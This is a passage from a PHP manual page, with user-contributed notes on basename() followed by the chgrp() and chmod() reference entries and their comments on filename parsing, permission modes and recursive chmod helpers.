            return ltrim(substr($param, strrpos($param, DIRECTORY_SEPARATOR) ), DIRECTORY_SEPARATOR);
        }
    }
?>
swedish boy 12-Oct-2009 03:43
Here is a quick way of fetching only the filename (without extension) regardless of what suffix the file has.

<?php

// your file
$file = 'image.jpg';

$info = pathinfo($file);
$file_name =  basename($file,'.'.$info['extension']);

echo $file_name; // outputs 'image'

?>
leelu123 at gmail dot com 13-Apr-2009 05:45
To get the inner most dir of a path

<?php

$DirPath = '/var/www/fruits/apple/';

//To get the innermost dir 'apple'

$InnermostDir = basename(rtrim($DirPath, '/'));

echo $InnermostDir; //will display 'apple'

?>
info at smaartweb dot com 23-Feb-2009 08:38
here are two good functions to extract the filename and extension part from any given path or url.

<?php
    function ShowFileExtension($filepath)
    {
        preg_match('/[^?]*/', $filepath, $matches);
        $string = $matches[0];

        $pattern = preg_split('/\./', $string, -1, PREG_SPLIT_OFFSET_CAPTURE);

        # check if there is any extension
        if(count($pattern) == 1)
        {
            echo 'No File Extension Present';
            exit;
        }

        if(count($pattern) > 1)
        {
            $filenamepart = $pattern[count($pattern)-1][0];
            preg_match('/[^?]*/', $filenamepart, $matches);
            echo $matches[0];
        }
    }

    function ShowFileName($filepath)
    {
        preg_match('/[^?]*/', $filepath, $matches);
        $string = $matches[0];
        #split the string by the literal dot in the filename
        $pattern = preg_split('/\./', $string, -1, PREG_SPLIT_OFFSET_CAPTURE);
        #get the last dot position
        $lastdot = $pattern[count($pattern)-1][1];
        #now extract the filename using the basename function
        $filename = basename(substr($string, 0, $lastdot-1));
        #return the filename part
        return $filename;
    }
?>

usage

<?php
   //$string = 'C:\My Documents\My Name\filename.ext';
    //$string = 'http://php.net/manual/add-note.php?
&redirect=http://php.net/function.basename.php';

    echo ShowFileName($string);
    echo ShowFileExtension($string);
?>
Joel Franusic 12-Nov-2008 03:30
The results of the basename() function are dependent on your locale setting.

If basename() is returning blank results for strings with multibyte characters, you can try including the following in your script:

<?php

setlocale(LC_ALL, 'en_US.UTF8'); # or any other locale that can handle multibyte characters.

?>

However, the best solution to do this would be to change the locale setting on your system or webserver. For example, on Debian systems, this is done in /etc/init.d/apache
hello at haroonahmad dot co dot uk 18-Sep-2008 08:13
I got a blank output from this code

$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

suggested earlier by a friend here.

So anybody who wants to get the current directory path can use another technique that I use as

//suppose you're using this in pageitself.php page

$current_dir=dirname(realpath("pageitself.php"));

I hope it helps.
zandor_zz at yahoo dot it 08-Sep-2008 01:34
It might be useful to have a version of the function basename working with arrays too.

<?php
function a_basename( $file, $exts )
{
    $onlyfilename = end( explode( "/", $file ) );

    if( is_string( $exts ) )
    {
        if ( strpos( $onlyfilename, $exts, 0 ) !== false )
        $onlyfilename = str_replace( $exts, "", $onlyfilename );
    }
    else if ( is_array( $exts ) )
    {
        // works with PHP version <= 5.x.x
        foreach( $exts as $KEY => $ext )
        {
            $onlyfilename = str_replace( $ext, "", $onlyfilename );
        }
    }

    return $onlyfilename ;
}
?>
(remove) dot nasretdinov at (remove) dot gmail dot com 27-Aug-2008 08:20
There is only one variant that works in my case for my Russian UTF-8 letters:

function mb_basename($file)
{
return end(explode('/',$file));
}

It is intented for UNIX servers
pai dot ravi at yahoo dot com 15-Aug-2008 08:44
once you have extracted the basename from the full path and want to separate the extension from the file name, the following function will do it efficiently:

<?php
function splitFilename($filename)
{
    $pos = strrpos($filename, '.');
    if ($pos === false)
    { // dot is not found in the filename
        return array($filename, ''); // no extension
    }
    else
    {
        $basename = substr($filename, 0, $pos);
        $extension = substr($filename, $pos+1);
        return array($basename, $extension);
    }
}
?>
clothohk at gmail dot com 14-Apr-2008 08:15
Adding a space is not a solution to my Chinese UTF-8 characters. I guess it will not work for Japanese and Korean too.

I use this instead:
$filename = mb_substr($path, mb_strrpos($path, '/')+1);
adrian at foeder dot de 20-Dec-2007 12:33
On windows systems, filenames are case-insensitive. If you have to make sure the right case is used when you port your application to an unix system, you may use a combination of the following:

<?php
//assume the real filename is mytest.JPG:

$name_i_have = "mytest.jpg";
$realfilename = basename(realpath($name_i_have));
?>

basename itself does not check the filesystem for the given file, it does, so it seems, only string-manipulation.
With realpath() you can "extend" this functionality.
mike at mike-griffiths dot co dot uk 10-Sep-2007 03:20
If you are trying to get the file extension of a given file then you should see the function pathinfo(), exploding by '.' on basename() is also possible (as long as you use the last array entry).

<?PHP
// Make an array of the various attributes
$path_parts = pathinfo('/www/htdocs/index.html');

$extension = $path_parts['extension'];

echo $extension; // 'html'

?>

Hope this helps someone.
stephane dot fidanza at gmail dot com 11-Apr-2007 04:33
Support of the $suffix parameter has changed between PHP4 and PHP5:
in PHP4, $suffix is removed first, and then the core basename is applied.
conversely, in PHP5, $suffix is removed AFTER applying core basename.

Example:
<?php
  $file = "path/to/file.xml#xpointer(/Texture)";
  echo basename($file, ".xml#xpointer(/Texture)");
?>

Result in PHP4: file
Result in PHP5: Texture)
phdwight at yahoo dot com 21-Mar-2007 06:41
Pulled my hair out for this.

Just like most functions, this does not play well with Japanese characters.

When you call basename with some Japanese characters, it will return nothing (truncates it) .
thoughts at highermind dot org 30-Jan-2007 05:45
Basename without query string:

<?php
$filename    = array_shift(explode('?', basename($url_path)));
?>
jonmsawyer at gmail dot com 09-Jan-2007 12:23
@antrik at users dot sf dot net
> 15-Nov-2004 10:40
> When using basename() on a path to a directory
> ('/bar/foo/'), the last path component ('foo') is returned,
> instead of the empty string one would expect. (Both PHP
> 4.1.2 and 4.3.8 on GNU/Linux.) No idea whether this is
> considered a bug or a feature -- I found it extremely
> annoying. Had to work around using: <?php
> $file=substr($path, -1)=='/'?'':basename($path)
> ?> Watch out!

There is a reason behind this -- and it has nothing to do with being a feature. PHP was heavily modeled off of the POSIX model. Many of the same functions you see in PHP are also in C, C++, and Java. These languages are modeled on POSIX as well.

The directory '/bar/foo/', when passed into the function basename(), will output 'foo' because *everything*, including directories, in the POSIX model, is a _file_. Most unix platforms, and all Windows platforms are (some Linux distributions are not) fully compliant to the POSIX model.

For example, the device file that contains information about your harddisk, in Linux, is probably stored in the _file_ /dev/hda.

Another example is that when you want to list information about your CPU or Memory using the Linux kernel, you might read the _file_ /proc/cpu/info.

Directories are no exception. Directories are no more different than your regular text file -- other than the fact that they describe a _file_-list of all files under it, and where the OS can access them. This means that even directories treat other directories as files.

The reason why we are made to think that directories are not files is because the kernel (the OS) simply treats these culprits differently. Your OS is lying to you! When you try to open up c:\windows in Notepad, you simply get a runaround because the Windows operating system knows it is a directory and knows how to treat it -- and knowing this it will not let you open it up for editing. For if you did that, you would probably lose the data in that directory. If you are familiar with C programming, you will know that if you lose information about a pointer to an object, the object gets lost in memory. The same would happen if you modified a directory in the wrong way. This is why the operating system protects its directories with the upmost care. (Some do anyway, hehe)

So when doing any kind of programming in PHP, C/++, Java, Ada, Perl, Python, Ruby, FORTRAN, and yes, even RPG IV (for all of you AS/400 folks out there working on the IFS), you must treat directories as files well.

This is why 'foo' is returned. For more information on POSIX, see http://en.wikipedia.org/wiki/POSIX

I hope this helps. Cheers.
thovan at gmx dot net 02-Jan-2007 07:24
After reading all of the earlier comments, I made my own function file_basename():

<?php
function file_basename($file= null) {
    if($file=== null || strlen($file)<= 0) {
        return null;
    }

    $file= explode('?', $file);
    $file= explode('/', $file[0]);
    $basename= $file[count($file)-1];

    return $basename;
}

?>
18-Sep-2006 11:28
lazy lester is just confirming what icewind said.
And yes it is correct! unlike what the following comment after icewind says, as that example is the same with the line order reversed! as poniestail at gmail dot com says.

But poniestail at gmail dot com missed the point that if the url is coming from a log file it will not have its value in $_SERVER["QUERY_STRING"] or $_SERVER["SCRIPT_NAME"] but in a LOG FILE or a DATABASE
lazy lester 17-Feb-2006 04:19
If your path has a query string appended, and if the query string contains a "/" character, then the suggestions for extracting the filename offered below don't work.

For instance if the path is like this:
http://www.ex.com/getdat.php?dep=n/a&title=boss

Then both the php basename() function, and also
the $_SERVER[QUERY_STRING] variables get confused.

In such a case, use:

<php
$path_with_query="http://www.ex.com/getdat.php?dep=n/a&title=boss";
$path=explode("?",$path_with_query);
$filename=basename($path[0]);
$query=$path[1];
?>
support at rebootconcepts dot com 17-Feb-2006 11:55
works on windows and linux, faster/easier than amitabh's...

<?php
$basename = preg_replace( '/^.+[\\\\\\/]/', '', $filename );

// Optional; change any non letter, hyphen, or period to an underscore.
$sterile_filename = preg_replace( "/[^\w\.-]+/", "_", $basename );
?>
poniestail at gmail dot com 04-Jan-2006 04:18
examples from "icewind" and "basname" seem highly overdone... not to mention example from "basename" is exactly the same as one from "icewind"...

possibly a more logical approach?
<?
   //possible URL = http://domain.com/path/to/file.php?var=foo
   $filename = substr( $_SERVER["SCRIPT_NAME"], 1 ); //substr( ) used for optional removal of initial "/"
   $query = $_SERVER["QUERY_STRING"];
?>

to see the entire $_SERVER variable try this:
<?
   echo "<pre>
      ".print_r( $_SERVER, true )."
      </pre>
   ";
?>
15-Nov-2005 04:57
icewinds exmaple wouldn't work, the query part would contain the second char of the filename, not the query part of the url.
<?
$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$query = $file[1];
$file = $file[0];
?>

That works better.
icewind 02-Nov-2005 12:44
Because of filename() gets "file.php?var=foo", i use explode in addition to basename like here:

$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$file = $file[0];
$query = $file[1];

Now $file only contains "file.php" and $query contains the query-string (in this case "var=foo").
www.turigeza.com 24-Oct-2005 12:47
simple but not said in the above examples

echo basename('somewhere.com/filename.php?id=2', '.php');
will output
filename.php?id=2

which is not the filename in case you expect!
crash at subsection dot org dot uk 22-Sep-2005 12:38
A simple way to return the current directory:
$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

since basename always treats a path as a path to a file, e.g.

/var/www/site/foo/ indicates /var/www/site as the path to file
foo
b_r_i_a__n at locallinux dot com 22-Aug-2005 05:47
I was looking for a way to get only the filename whether or not I had received the full path to it from the user.  I came up with a much simpler (and probably more robust) method by using the power of basename in reverse:

$infile = "/usr/bin/php";
$filename = stristr ($infile,basename ($infile));

This even works on those _wacky_ filenames like "/usr/lib/libnetsnmp.so.5.0.9" which are not factored when exploding the full path and taking out only the last segment after "."
pvollma at pcvsoftware dot net 14-Jul-2005 09:28
Note that in my example below, I used the stripslashes function on the target string first because I was dealing with the POST array $_FILES. When creating this array, PHP will add slashes to any slashes it finds in the string, so these must be stripped out first before processing the file path. Then again, the only reason I can think of that basename() would fail is when dealing with Windows paths on a *nix server -- and the file upload via POST is the only situation I can think of that would require this. Obviously, if you are not dealing with these additional slashes, invoking stripslashes() first would remove the very separators you need extract the file name from the full path.
amitabh at NOSPAM dot saysnetsoft dot com 14-Jul-2005 01:55
The previous example posted by "pvollma" didn't work out for me, so I modified it slightly:
<?php
function GetFileName($file_name)
{
        $newfile = basename($file_name);
        if (strpos($newfile,'\\') !== false)
        {
                $tmp = preg_split("[\\\]",$newfile);
                $newfile = $tmp[count($tmp) - 1];
                return($newfile);
        }
        else
        {
                return($file_name);
        }
}
?>
pvollma at pcvsoftware dot net 13-Jul-2005 11:43
There is a real problem when using this function on *nix servers, since it does not handle Windows paths (using the \ as a separator). Why would this be an issue on *nix servers? What if you need to handle file uploads from MS IE? In fact, the manual section "Handling file uploads" uses basename() in an example, but this will NOT extract the file name from a Windows path such as C:\My Documents\My Name\filename.ext. After much frustrated coding, here is how I handled it (might not be the best, but it works):

<?php
$filen = stripslashes($_FILES['userfile']['name']);
$newfile = basename($filen);
if (strpos($newfile,'\\') !== false) {
  $tmp = preg_split("[\\\]",$newfile);
  $newfile = $tmp[count($tmp) - 1];
}
?>

$newfile will now contain only the file name and extension, even if the POSTed file name included a full Windows path.
KOmaSHOOTER at gmx dot de 30-Jan-2005 06:18
if you want the name of the parent directory
<?php
$_parenDir_path = join(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1),"/").'/'; // returns the full path to the parent dir
$_parenDir =  basename ($_parenDir_path,"/"); // returns only the name of the parent dir
// or
$_parenDir2 = array_pop(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1)); // returns also only the name of the parent dir
echo('$_parenDir_path  = '.$_parenDir_path.'<br>');
echo('$_parenDir  = '.$_parenDir.'<br>');
echo('$_parenDir2  = '.$_parenDir2.'<br>');
?>
KOmaSHOOTER at gmx dot de 29-Jan-2005 04:24
If you want the current path where youre file is and not the full path then use this :)

<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// retuns the name of current used directory
?>

Example:

www dir: domain.com/temp/2005/january/t1.php

<?php
echo('dirname <br>'.dirname($_SERVER['PHP_SELF']).'<br><br>');
// returns: /temp/2005/january
?>

<?php
echo('file = '.basename ($PHP_SELF,".php"));
// returns: t1
?>

if you combine these two you get this
<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// returns: january
?>

And for the full path use this
<?php
echo(' PHP_SELF <br>'.$_SERVER['PHP_SELF'].'<br><br>');
// returns: /temp/2005/january/t1.php
?>
antrik at users dot sf dot net 15-Nov-2004 10:40
When using basename() on a path to a directory ('/bar/foo/'), the last path component ('foo') is returned, instead of the empty string one would expect. (Both PHP 4.1.2 and 4.3.8 on GNU/Linux.) No idea whether this is considered a bug or a feature -- I found it extremely annoying. Had to work around using: <?php $file=substr($path, -1)=='/'?'':basename($path) ?> Watch out!
osanim at cidlisuis dot org 17-Apr-2004 11:12
If you want know the real directory of the include file, you have to writte:

<?php
dirname(__FILE__)
?>
KOmaSHOOTER at gmx dot de 28-Nov-2003 02:33
Exmaple for exploding ;) the filename to an array

<?php
echo(basename ($PHP_SELF)."<br>");  // returnes filename.php
$file = basename ($PHP_SELF);
$file = explode(".",$file);
print_r($file);    // returnes Array ( [0] => filename [1] => php )
echo("<br>");
$filename = basename(strval($file[0]),$file[1]);
echo($filename."<br>");  // returnes  filename
echo(basename ($PHP_SELF,".php")."<br>");  // returnes  filename
echo("<br>");
echo("<br>");
//show_source(basename ($PHP_SELF,".php").".php")
show_source($file[0].".".$file[1])
?>
giovanni at giacobbi dot net 08-Nov-2003 07:52
No comments here seems to take care about UNIX system files, which typically start with a dot, but they are not "extensions-only".
The following function should work with every file path. If not, please let me know at my email address.

<?php

function remove_ext($str) {
  $noext = preg_replace('/(.+)\..*$/', '$1', $str);
  print "input: $str\n";
  print "output: $noext\n\n";
}

remove_ext("/home/joh.nny/test.php");
remove_ext("home/johnny/test.php");
remove_ext("weirdfile.");
remove_ext(".hiddenfile");
remove_ext("../johnny.conf");
daijoubu_NOSP at M_videotron dot ca 15-Oct-2003 10:22
An faster alternative to:

<?php
array_pop(explode('.', $fpath));
?>

would be:

<?php
substr($fpath, strrpos($fpath, '.')); // returns the dot
?>

If you don't want the dot, simply adds 1 to the position

<?php
substr($fpath, strrpos($fpath, '.') + 1); // returns the ext only
?>
Richard at Lyders dot Net 01-Apr-2003 01:53
you can also make use of the basename() function's second parameter:

<?PHP
$fpath = "/blah/file.name.has.lots.of.dots.ext";
$fext  = array_pop(explode('.', $fpath));
$fname = basename($fpath, '.'.$fext);

print "fpath: $fpath\n<br>";
print "fext: $fext\n<br>";
print "fname: $fname\n<br>";
?>
Filesystem Functions
chgrp
Filesystem Functions


Changes file group

basename
chmod
Filesystem Functions
PHP Manual

chgrp

(PHP 4, PHP 5)

chgrp — Changes file group

Description

bool chgrp ( string $filename , mixed $group )

Attempts to change the group of the file filename to group.

Only the superuser may change the group of a file arbitrarily; other users may change the group of a file to any group of which that user is a member.

Parameters

filename

Path to the file.

group

A group name or number.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Changing a file's group

<?php
$filename = 'shared_file.txt';
$format = "%s's Group ID @ %s: %d\n";
printf($format, $filename, date('r'), filegroup($filename));
chgrp($filename, 8);
clearstatcache(); // do not cache filegroup() results
printf($format, $filename, date('r'), filegroup($filename));
?>

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

See Also

  • chown() - Changes file owner
  • chmod() - Changes file mode

User Contributed Notes

Dan Dascalescu 03-Dec-2007 05:12
If you call chgrp and pass a non-existent group, you'll get the warning "Warning: chgrp(): Unable to find gid for nogroup in".

To check beforehand if the group exists, use posix_getgrid() or posix_getgrnam().
basename
chmod
Filesystem Functions


Changes file mode

chgrp
chown
Filesystem Functions
PHP Manual

chmod

(PHP 4, PHP 5)

chmod — Changes file mode

Description

bool chmod ( string $filename , int $mode )

Attempts to change the mode of the specified file to that given in mode.

Parameters

filename

Path to the file.

mode

Note that mode is not automatically assumed to be an octal value, so strings (such as "g+w") will not work properly. To ensure the expected operation, you need to prefix mode with a zero (0):

<?php
chmod("/somedir/somefile", 755);   // decimal; probably incorrect
chmod("/somedir/somefile", "u+rwx,go+rx"); // string; incorrect
chmod("/somedir/somefile", 0755);  // octal; correct value of mode
?>

The mode parameter consists of three octal number components specifying access restrictions for the owner, the user group in which the owner is in, and to everybody else in this order. One component can be computed by adding up the needed permissions for that target user base. Number 1 means that you grant execute rights, number 2 means that you make the file writeable, number 4 means that you make the file readable. Add up these numbers to specify needed rights. You can also read more about modes on Unix systems with 'man 1 chmod' and 'man 2 chmod'.

<?php
// Read and write for owner, nothing for everybody else
chmod("/somedir/somefile", 0600);

// Read and write for owner, read for everybody else
chmod("/somedir/somefile", 0644);

// Everything for owner, read and execute for others
chmod("/somedir/somefile", 0755);

// Everything for owner, read and execute for owner's group
chmod("/somedir/somefile", 0750);
?>

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

The current user is the user under which PHP runs. It is probably not the same user you use for normal shell or FTP access. The mode can be changed only by user who owns the file on most systems.

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

Note:

When safe mode is enabled, PHP checks whether the files or directories you are about to operate on have the same UID (owner) as the script that is being executed. In addition, you cannot set the SUID, SGID and sticky bits.

See Also

  • chown() - Changes file owner
  • chgrp() - Changes file group
  • fileperms() - Gets file permissions
  • stat() - Gives information about a file

User Contributed Notes

h dot kuppens at cs dot ru dot nl 29-Aug-2011 02:51
For recursive chmod'ing both files and directories in one step you can use the function below. Note that this function has one argument for directory permissions and one for file permissions.
In this way you can apply the 'x' permission on directories, and skip it on directories. This function also skips links.

Example usage :

   chmod_R( 'mydir', 0666, 0777);

Makes all files and directories within mydir/ directory accessible for everyone, but doesn't make the files executable.

I guess for very deeply nested directories the recursion with php can become problematic, but I can be wrong because I never investigated this.

<?php
function chmod_R($path, $filemode, $dirmode) {
    if (is_dir($path) ) {
        if (!chmod($path, $dirmode)) {
            $dirmode_str=decoct($dirmode);
            print "Failed applying filemode '$dirmode_str' on directory '$path'\n";
            print "  `-> the directory '$path' will be skipped from recursive chmod\n";
            return;
        }
        $dh = opendir($path);
        while (($file = readdir($dh)) !== false) {
            if($file != '.' && $file != '..') {  // skip self and parent pointing directories
                $fullpath = $path.'/'.$file;
                chmod_R($fullpath, $filemode,$dirmode);
            }
        }
        closedir($dh);
    } else {
        if (is_link($path)) {
            print "link '$path' is skipped\n";
            return;
        }
        if (!chmod($path, $filemode)) {
            $filemode_str=decoct($filemode);
            print "Failed applying filemode '$filemode_str' on file '$path'\n";
            return;
        }
    }
}
?>
Andrey P. 01-Mar-2011 02:23
I was trying to change permissions of a folder with chmod command with FTP connection. (I needed a writable folder to upload pictures with php)

I got the following respond:
"SITE CHMOD 777 uploads: command not understood"

The reason: Server is running under Windows system that does not allow to set file permissions via FTP. Conversely, the UNIX-running servers allow that.

Solutions:

1. If your web hosting provider has a web-based control panel that lets you set file permissions, then you need to login there and make changes.

2. It is possible to contact the hosting provider and ask them about this issue; maybe they can make the changes.

3. It is possible to change the hosting provider that has servers run on UNIX, and keep the site there.
MethodicalFool 02-Sep-2010 09:46
BEWARE, a couple of the examples in the comments suggest doing something like this:

chmod(file_or_dir_name, intval($mode, 8));

However, if $mode is an integer then intval( ) won't modify it.  So, this code...

$mode = 644;
chmod('/tmp/test', intval($mode, 8));

...produces permissions that look like this:

1--w----r-T

Instead, use octdec( ), like this:

chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
Geoff W 08-Feb-2010 02:13
BEWARE using quotes around the second parameter...

If you use quotes eg

chmod (file, "0644");

php will not complain but will do an implicit conversion to an int before running chmod. Unfortunately the implicit conversion doesn't take into account the octal string so you end up with an integer version 644, which is 1204 octal
shelby at coolpage dot com 21-Nov-2009 04:10
Apparently there is a way to emulate chmod on Windows:

http://www.php.net/manual/en/function.chmod.php#68384
http://neosmart.net/dl.php?id=4

Apparently the way the above works is that Windows has file permissions and they are more complex.  To access them, turn off (uncheck) Windows Explorer -> Tool menu -> File Options -> View -> Use simple sharing.  Then right-click any file or folder, to access the Security tab.  This is known as Windows ACL (access control layer?). You may turn on (check) Use simple sharing again after making any settings to Security and these settings will be retained. You may need to be logged on as a user in the Administrators group to access some permissions on some files, i.e. User Accounts in Control Panel and see Start menu -> Run -> lusrmgr.msc and gpedit.msc.
david at ordal dot com 03-Aug-2009 12:24
An improvement on the recursive chmod from nicolas@infosoft.... in July 2008. This is a little shorter and should handle all types of linux filesystem files.

<?php
function chmodr($path, $filemode) {
    if (!is_dir($path))
        return chmod($path, $filemode);

    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if($file != '.' && $file != '..') {
            $fullpath = $path.'/'.$file;
            if(is_link($fullpath))
                return FALSE;
            elseif(!is_dir($fullpath) && !chmod($fullpath, $filemode))
                    return FALSE;
            elseif(!chmodr($fullpath, $filemode))
                return FALSE;
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
        return TRUE;
    else
        return FALSE;
}
?>
Meaulnes Legler 10-Jul-2009 07:38
Another converter from 'rwx' mode to octal, but considering the setuid/setgid and sticky bits, too. Also the reverse function, converts from octal to 'rwx' mode. Both ignore the leading 'd' or '-' since no directory nor file information is provided.

<?php
function ModeRWX2Octal($Mode_rwx) {    // enter rwx mode, e.g. 'drwxr-sr-x'
    if ( ! preg_match("/[-d]?([-r][-w][-xsS]){2}[-r][-w][-xtT]/", $Mode_rwx) )
        die("wrong <TT>-rwx</TT> mode in ModeRWX2Octal('<TT>$Mode_rwx</TT>')");
    $Mrwx = substr($Mode_rwx, -9);    // 9 chars from the right-hand side
    $ModeDecStr     = (preg_match("/[sS]/",$Mrwx[2]))?4:0;    // pick out sticky
    $ModeDecStr    .= (preg_match("/[sS]/",$Mrwx[5]))?2:0;    // _ bits and change
    $ModeDecStr    .= (preg_match("/[tT]/",$Mrwx[8]))?1:0;    // _ to e.g. '020'
    $Moctal     = $ModeDecStr[0]+$ModeDecStr[1]+$ModeDecStr[2];    // add them
    $Mrwx = str_replace(array('s','t'), "x", $Mrwx);    // change execute bit
    $Mrwx = str_replace(array('S','T'), "-", $Mrwx);    // _ to on or off
    $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');    // prepare for strtr
    $ModeDecStr    .= strtr($Mrwx,$trans);    // translate to e.g. '020421401401'
    $Moctal    .= $ModeDecStr[3]+$ModeDecStr[4]+$ModeDecStr[5];    // continue
    $Moctal    .= $ModeDecStr[6]+$ModeDecStr[7]+$ModeDecStr[8];    // _ adding
    $Moctal    .= $ModeDecStr[9]+$ModeDecStr[10]+$ModeDecStr[11];  // _ triplets
    return $Moctal;    // returns octal mode, e.g. '2755' from above.
}
function ModeOctal2rwx($ModeOctal) { // enter octal mode, e.g. '644' or '2755'
    if ( ! preg_match("/[0-7]{3,4}/", $ModeOctal) )    // either 3 or 4 digits
        die("wrong octal mode in ModeOctal2rwx('<TT>$ModeOctal</TT>')");
    $Moctal = ((strlen($ModeOctal)==3)?"0":"").$ModeOctal;    // assume default 0
    $Mode3 = substr($Moctal,-3);    // trailing 3 digits, no sticky bits considered
    $RWX = array ('---','--x','-w-','-wx','r--','r-x','rw-','rwx');    // dumb,huh?
    $Mrwx = $RWX[$Mode3[0]].$RWX[$Mode3[1]].$RWX[$Mode3[2]];    // concatenate
    if (preg_match("/[1357]/", $Moctal[0])) $Mrwx[8] = ($Mrwx[8]=="-")?"T":"t";
    if (preg_match("/[2367]/", $Moctal[0])) $Mrwx[5] = ($Mrwx[5]=="-")?"S":"s";
    if (preg_match("/[4567]/", $Moctal[0])) $Mrwx[2] = ($Mrwx[2]=="-")?"S":"s";
    return $Mrwx;    // returns e.g. 'rw-r--r--' or 'rwxr-sr-x'
}
?>

following test code returns the results below

<?php
$Mode = "-rw-rw-r--";
echo "<BR>ModeRWX2Octal(<TT>$Mode) -&gt;</TT> ".ModeRWX2Octal($Mode)."\n";
$Mode = "drwxr-sr-x";
echo "<BR>ModeRWX2Octal(<TT>$Mode) -&gt;</TT> ".ModeRWX2Octal($Mode)."\n";
$Mode = "644";
echo "<BR>ModeOctal2rwx($Mode) <TT>-&gt; ".ModeOctal2rwx($Mode)."</TT>\n";
$Mode = "2755";
echo "<BR>ModeOctal2rwx($Mode) <TT>-&gt; ".ModeOctal2rwx($Mode)."</TT>\n";
?>

ModeRWX2Octal(-rw-rw-r--) -> 0664
ModeRWX2Octal(drwxr-sr-x) -> 2755
ModeOctal2rwx(644) -> rw-r--r--
ModeOctal2rwx(2755) -> rwxr-sr-x
sander 25-Jun-2009 11:06
if you want to chmod directories too, use this

<?php
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname), RecursiveIteratorIterator::SELF_FIRST);

foreach($iterator as $item) {
    chmod($item, $filemode);
}
?>
Anonymous 24-Jun-2009 08:05
Just wanted to point out that the RecursiveIteratorIterator method below won't chmod directories, it only catches files.  I haven't been able to find a way to change it so that it catches directories too yet.
Anonymous 24-Dec-2008 02:14
Changes file mode recursive in $pathname to $filemode

<?php

$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($pathname));

foreach($iterator as $item) {
    chmod($item, $filemode);
}

?>
nicolas at infosoft dot inf dot br 07-Jul-2008 05:37
I use the code of haasje@welmers.net, but have a lite alteration. (linux symlink)

<?php
function chmod_R($path, $filemode) {
    if (!is_dir($path))
        return chmod($path, $filemode);

    $dh = opendir($path);
    while (($file = readdir($dh)) !== false) {
        if($file != '.' && $file != '..') {
            $fullpath = $path.'/'.$file;
            if(is_link($fullpath))
                return FALSE;
            elseif(!is_dir($fullpath))
                if (!chmod($fullpath, $filemode))
                    return FALSE;
            elseif(!chmod_R($fullpath, $filemode))
                return FALSE;
        }
    }

    closedir($dh);

    if(chmod($path, $filemode))
        return TRUE;
    else
        return FALSE;
}
?>
thanks alls
paul maybe at squirrel mail org 24-Apr-2008 05:09
Note that info at rvgate dot nl's chmodnum function produces INCORRECT results.  The resutls are base-10 numbers that only LOOK like they are octal numbers.  The function also ignores setuid, setgid and sticky bits, and will produce incorrect numbers if such a file is encountered.  Instead, this brute-force code works.  Maybe there is something more slick, but this isn't too CPU-intensive (note that it assumes you've error-checked that you indeed have a 10-character string!):

<?php
      $permissions = 'drwxr-xr-x';  // or whatever
      $mode = 0;

      if ($permissions[1] == 'r') $mode += 0400;
      if ($permissions[2] == 'w') $mode += 0200;
      if ($permissions[3] == 'x') $mode += 0100;
      else if ($permissions[3] == 's') $mode += 04100;
      else if ($permissions[3] == 'S') $mode += 04000;

      if ($permissions[4] == 'r') $mode += 040;
      if ($permissions[5] == 'w') $mode += 020;
      if ($permissions[6] == 'x') $mode += 010;
      else if ($permissions[6] == 's') $mode += 02010;
      else if ($permissions[6] == 'S') $mode += 02000;

      if ($permissions[7] == 'r') $mode += 04;
      if ($permissions[8] == 'w') $mode += 02;
      if ($permissions[9] == 'x') $mode += 01;
      else if ($permissions[9] == 't') $mode += 01001;
      else if ($permissions[9] == 'T') $mode += 01000;

      printf('Mode is %d decimal and %o octal', $mode, $mode);
?>
zual__ at gogo dot mn 31-Oct-2007 04:53
greate ftp newfolder=dir;
chmod --dir change 777;

<?php
$ftp_server='server';
$conn_id = ftp_connect("$ftp_server");
ftp_login($conn_id, user, password);
ftp_mkdir($conn_id, dir/dir);
ftp_site($conn_id, 'CHMOD 777, dir/dir');
ftp_close($conn_id);
?>
til_roque at yahoo dot com 10-Oct-2007 08:03
Problem:
you are trying to circumvent SAFE_MODE setting that prevents you from using chmod() on files you uploaded via a regular ftp client, because php may run as user 'nobody', which is not the user from your ftp session.
using ini_set() won't work
using ftp_chmod() won't work either

Solution:
copy file to some temorary directory.
delete original file altogether.
copy temporary file back to original location.
do the chmod()
mmj048 at gmail dot com 04-Oct-2007 08:56
If you want to use a string for the second parameter, including user input, you MUST use octdec.

http://www.php.net/octdec
martin at aarhof dot eu 17-Aug-2007 07:15
Just for those peoples can't remeber the codes 777 and so on I just created a small class :-)

<?php

class Chmod
{

    private $dir;
    private $modes = array('owner' => 0 , 'group' => 0 , 'public' => 0);

    public function setOwnermodes($read,$write,$execute) {
        $this->modes['owner'] = $this->setMode($read,$write,$execute);
    }

    public function setGroupmodes($read,$write,$execute) {
        $this->modes['group'] = $this->setMode($read,$write,$execute);
    }

    public function setPublicmodes($read,$write,$execute) {
        $this->modes['public'] = $this->setMode($read,$write,$execute);
    }

    public function getMode() {
        return 0 . $this->modes['owner'] . $this->modes['group'] . $this->modes['public'];
    }

    private function setMode($r,$w,$e) {
        $mode = 0;
        if($r) $mode+=4;
        if($w) $mode+=2;
        if($e) $mode+=1;
        return $mode;
    }

}

$test = new Chmod;
$test->setOwnermodes(true,true,true);
$test->setGroupmodes(true,true,true);
$test->setPublicmodes(true,true,true);
chmod($dir , $test->getMode());
// chmods $dir to 0777
?>
Ambriel_Angel at www dot ambriels dot net/entry 25-Mar-2007 06:00
<?php
error_reporting(E_ERROR | E_PARSE);
/* Makes is so Directories are not browseable to the public,
removing only the Public = Read permission, while leaving
